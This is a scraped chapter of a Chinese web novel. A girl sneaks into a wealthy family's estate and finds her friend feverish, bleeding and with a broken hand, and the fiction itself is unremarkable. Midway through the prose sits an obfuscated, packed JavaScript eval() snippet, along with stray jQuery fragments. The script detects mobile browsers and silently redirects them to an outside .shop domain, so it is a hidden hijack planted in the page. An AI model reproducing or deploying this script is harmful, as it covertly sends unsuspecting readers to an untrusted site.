文趣网 > 都市小说 > 脏橘 > 47. 第 47 章
    领班姐姐是不会出卖她的,万一借口对不上,只能雪上加霜。

    王梦娜面带怀疑地审视她,好像认定她干了什么坏事。

    章桔脑袋里百转千回,慢慢冷静下来,露出欲言又止的神色,“妈,我……不是故意瞒你的。”

    她低头绞手指,偷瞄王梦娜的脸色,咬住嘴唇,摆出心虚的样子。

    王梦娜皱起眉头,仿佛猜到了什么,恨铁不成钢地说:“又去找你奶奶了是不是?我就知道你是个养不熟的!越不让你去你越要去,我就搞不懂,我哪里苛待你了?”

    章桔悄悄松了口气,面上仍旧怯懦。

    王梦娜免不了一顿责骂,顺便问候章素素和她去世的父亲。

    半小时过去,章桔给她倒了杯水,她才勉强停下来。

    她指着章桔说:“以后少跟你姑接触,不要步入她的后尘,上了个野鸡大学,出来也是打工仔,多跟你表哥表姐学学,好好规划自己的人生。”

    章桔心想,姑姑上的才不是野鸡大学,表面上安分地点头。

    她不由想起庄奕说的话,会有那么一天,她的人生不再被左右吗?

    不再被拉出去比较,不再被指着鼻子说教。

    真的……会有吗?

    -

    元宵节前一中开学,章桔本来要待到初八,初五那天,王梦娜让她改签车票提前回去。

    庄奕回到应安后,时而消失几天,又时而出现回消息,庄家似乎发生了什么事,他和祝芳芳都不见踪影。

    回到南湾,陶阿姨说:“小奕跟祝姐回庄家了,庄先生也在那边,估计一时半会儿回不来。”

    章桔问:“马上要开学了,他们不回来吗?”

    “这倒没跟我说,祝姐年前交代过,让你安心住在这里,我和老张会好好照顾你的。”

    章桔望向一楼的恒温房,房门半开。

    她推门进去,发现里面已经搬空了,布丁和珍珠都不见了。

    她心里一惊,问道:“陶阿姨,这是怎么回事?”

    陶阿姨说:“这个啊,过年期间小奕没回来,就把它们都带走了。”

    这理由合情合理,但章桔悬着一颗心。

    她感到愈发不对劲,当晚给庄奕发消息,问他怎么把温室搬走了。

    隔了很久,他才回复:[你回来了?南湾没人,我怕别人照顾不好它们。]

    又说:[我这边有点忙,开学前回去。]

    看见他这么说,章桔放心不少。

    然而几天后才知道,这是他回复的最后一条消息。

    报到日,庄奕和祝芳芳都没出现,章桔发的消息石沉大海,王梦娜这几天脸色发青,对庄家的事绝口不提,一个字都不肯透露。

    开学三天后,章桔终于忍不住,找到了顾骁森。

    他仿佛猜到她要问什么,无奈地回答:“我也不知道庄家发生了什么。”

    她问:“你知道他爷爷家在哪里吗?”

    “那个地方,普通人进不去。”

    “那你和他有联系吗?”

    顾骁森见她焦急,叹了口气,拿起手机点了几下,“放心吧,他不会有安全问题,看,这是初三那天,庄氏集团某个动工剪彩活动,庄叔叔和祝阿姨都出席了。”

    他给她看屏幕,一群人正在剪彩,中间的正是祝芳芳和她老公庄伟。

    两人衣着光鲜华丽,手挽着手,脸上挂着模范夫妻的笑容,祝芳芳在宝石首饰的衬托下端庄得体。

    可章桔一眼就看出来,那是冷漠的假笑,不是她的真实情绪。

    祝芳芳搭着庄伟的手,拍照结束后马上放下。

    章桔沉默,半晌后说:“谢谢你告诉我这些。”

    顾骁森怪怪地看她:“你怎么这么关心他?要是我几天不回消息,你也会担心我吗?”

    “当然,我肯定会想办法找你的。”章桔脱口而出,“我不知道你们之间有什么矛盾,但你应该也担心他吧,我看得出来,你这几天不太开心。”

    开学后顾骁森消沉了许多,按理来说,庄奕不在,他应该幸灾乐祸才对。

    毕竟他早已猜到,庄奕是被什么绊住脚。

    可顾骁森高兴不起来,他盯着庄奕空着的座位,不自觉眉头紧锁,表情十分复杂。

    从小一起长大的兄弟,家里出事,他真的该袖手旁观吗?

    章桔说:“你如果有消息,能告诉我一声吗?”

    她诚恳地望着他,毕竟这是她唯一能找到的和庄奕有关系的人。

    顾骁森眼里闪过挣扎,抿唇道:“你真的那么想见他?”

    章桔坚定地点头,“我只是想知道他过得好不好。”

    他慢慢地皱眉,仿佛意识到了什么,她叹了口气,转身往走廊走去,在即将出去的时候,身后的人叫住她。

    “这周末,你来找我,我带你去。”

    章桔回头,惊喜道:“谢谢你,骁森!”

    他嘴角溢出一丝苦笑。

    她第一次露出这样的表情,是因为他最好的兄弟。

    ……

    顾骁森原本说是周末,周五晚自习的时候,突然改变了主意。

    他给章桔发微信:[我爸说庄家晚宴闹起来了,好像挺严重,我现在打算逃课去看一眼,要是有消息就告诉你。]

    他开始收拾书本,准备从后门开溜。

    谁知一抬头,章桔已经猫着腰来到后排。

    张崇文在讲台上批改作业,撑着脸一副头疼欲裂的模样,根本无心管下面的学生。

    她动作敏捷,挪到后门招了招手,示意他别收了赶紧走,那姿态比他还要熟练一百倍。

    “……”

    顾骁森只得舍命陪君子,跟着她跑了出去。

    庄家位于应安市郊区,坐落在鼓山脚下,打车过去花了近一小时。

    两人先是进入大门口的关卡,顾骁森表明身份,接着坐上一辆车,开了半天才抵达正门。

    晚上黑咕隆咚,只能看清路灯和树木,远处传来潺潺的流水声。

    管家在大门口停下,请他们稍等片刻。

    顾骁森随口问她:“冷不冷?”

    章桔摇了摇头,看见一辆车从里面开了出来。

    国礼缓慢滑行,在他们旁边停下,后排车窗降落,露出一个中年男人的身影。

    顾骁森忙上前一步,躬身喊道:“庄叔叔,是我,骁森。”

    章桔站在他身后,看见了车里的庄伟。

    他穿着铅灰色定制西装,脸型和鼻子和庄奕相似,看得出年轻时应该很帅。

    他的头发有些凌乱,像是刚刚打理过,眼神似乎带着不悦,看了眼顾骁森。

    “是你父亲让你来的?”

    “不是,我来看看阿奕。”顾骁森对他很恭敬。

    庄伟不语,看向他身后。

    顾骁森解释:“我带了个朋友一起,他应该还没睡吧?”

    庄伟移开视线,从鼻腔里冷哼,“今晚他要是能睡得着,明天可以不用醒过来了。”

    章桔没想到他会这样说话,忍不住看他,这一抬眼,却看见后排另一个人。

    光线昏暗,她一直没发现里面还有人。

    是个女人。

    看不清容貌,只能看见浅色皮草裙,肩上的吊带,以及宝蓝色指甲。

    章桔看到她挽住庄伟的手臂,暗自吸了口气,顿时浑身发冷。

    庄伟竟然把情人带到祖宅,当着长辈和祝芳芳的面,如此肆无忌惮,难怪祝芳芳消失了这么久,她这段时间一定很不好过。

    他们又聊了几句,庄伟升起车窗,国礼平稳地开走。

    章桔面容怔忪地望着那辆车,顾骁森提醒她:“走吧,我们去找庄奕,这是他的家事,不要多想。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767346|209763||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他说的没错,确实不关他们的事。

    可一想到祝芳芳受的委屈,她忍不住握紧了拳头。

    二人畅通无阻地进入主宅,东穿西绕了半天,章桔头都绕晕了,最后来到一栋楼的二楼,管家做了个手势,安静地转身离开。

    顾骁森呼出一口气:“你进去吧,我懒得见他。”

    她低声道了谢,举步往里走。

    刚走了两步,忽然被抓住手腕,她还没回头,听见顾骁森说:“你是不是……”

    章桔扭头看他。

    壁灯的照耀下,他的神情有几分悲凉。

    片刻后,还是松开了手,“算了,你进去吧,有事就叫我。”

    章桔心里一阵缩紧,来不及细想,决绝地推开房门走进去。

    房间里一片黑暗,窗帘半开,透进一地月光,安静得像没有人一样。

    她摸索着灯源,却找不到开关,只能小声地喊:“庄奕,你在吗?”

    无人回应。

    这房间很大,她小心翼翼地走路,生怕踩到什么被绊倒,连床上都找了一遍,还是没有找到庄奕。

    正觉得奇怪,忽然听见衣帽间传来动静,踏进衣帽间的那一刻,她捂住嘴发出惊呼。

    等身镜碎了一地,玻璃渣溅到门框外面,庄奕坐在中岛柜后面,额头抵住膝盖,肩膀轻微地起伏。

    他无声无息地坐在那里,像是坐了很长时间。

    章桔吓了一跳,赶紧走过去查看,声音发抖,“庄奕,庄奕?你没事吧?”

    月色朦胧,看不清状况,她只能去捧他的脸,在接触到脸颊时,发现他的皮肤烫得惊人。

    “你……”她刚要说话,庄奕忽然抓住她。

    他的力道有些失控,捏得她指骨生疼,还是忍痛说完:“你在发烧。”

    庄奕充耳不闻,发出沉重地喘气,他的脸半隐没在黑暗中,视线灼热滚烫,犹如蓄势待发的冷血动物,死死盯着面前的猎物。

    她没由来的感到害怕,往后缩了一下。

    这个细微的举动刺激了庄奕,他猛地倾身,将她按在身后的衣柜上。

    咚地一声,章桔撞上柜门,险些控制不住发出尖叫。

    “你弄疼我了……你怎么了?”她颤声问。

    他没有回答,将脸埋在她脖颈处。

    鼻梁抵住锁骨,高温几乎将她烫伤。

    他嘴里喃喃道:“又是做梦吗?你又来我梦里了……”

    章桔这才发现,他已经快神志不清,她眼睛一酸,抬起另一只手轻抚他的后背,“不是梦,你睁开眼睛看看,是我,我是章桔啊。”

    他像是没听见她的话,收拢手臂,将她死死困在怀里。

    这具身体像一个火炉,呼出的气体犹如火舌卷过皮肤,她被烫得想退缩,却被更加用力地桎梏、锁紧。

    他在自以为的梦里,抛却了平日的冷静克制,毫不掩饰地展现出控制欲,力气大到惊人,似乎连她的呼吸都要镇压。

    那双嘴唇带着高温,在皮肤上游弋,最终印在她的动脉处。

    齿尖轻碰。

    章桔倏然瞪大眼睛,浑身起了层鸡皮疙瘩,脑子里的弦啪地断开。

    她用力挣扎起来,“庄奕!你冷静一点,别、别这样……”

    他腾出一只手压制住她,那只手握上去的瞬间,她触碰到温热的液体,滑腻地贴着皮肤,她的心猛然拎到最高点——是血,他在源源不断地流血!

    那股血从他左手冒出来,又湿又滑,印在她的手上、衣服上。

    一股惊恐攫住她全身,脑袋嗡地一声。

    她冲门外喊:“顾骁森,快进来!他受伤了!”

    门外传来杂乱的脚步声,片刻后,衣帽间的灯砰然亮起。

    满地的玻璃渣和血迹映入眼帘,她望向他的左手,骨骼弯曲成不正常的弧度,她的眼泪瞬间夺眶而出。